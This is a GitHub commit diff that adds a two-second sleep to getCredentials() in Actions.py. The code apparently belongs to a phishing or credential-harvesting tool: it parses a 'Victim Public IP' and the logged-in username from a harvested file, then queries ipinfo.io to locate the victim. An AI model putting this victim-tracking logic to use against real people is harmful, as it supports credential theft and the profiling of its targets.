Update Actions.py

This commit is contained in:
Usama Abdul Sattar 2019-05-25 12:06:43 +05:00 committed by GitHub
parent 1edf462e9b
commit b8c256dd12
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23

View File

@ -546,6 +546,7 @@ def getCredentials():
with open('Server/www/ip.txt') as creds: with open('Server/www/ip.txt') as creds:
lines = creds.read().rstrip() lines = creds.read().rstrip()
if len(lines) != 0: if len(lines) != 0:
sleep(2)
ip = re.match('Victim Public IP: (.*?)\n', lines).group(1) ip = re.match('Victim Public IP: (.*?)\n', lines).group(1)
user = re.match('Current logged in user: (a-z0-9)\n', lines) user = re.match('Current logged in user: (a-z0-9)\n', lines)
resp = urlopen('https://ipinfo.io/{0}/json'.format(ip)) resp = urlopen('https://ipinfo.io/{0}/json'.format(ip))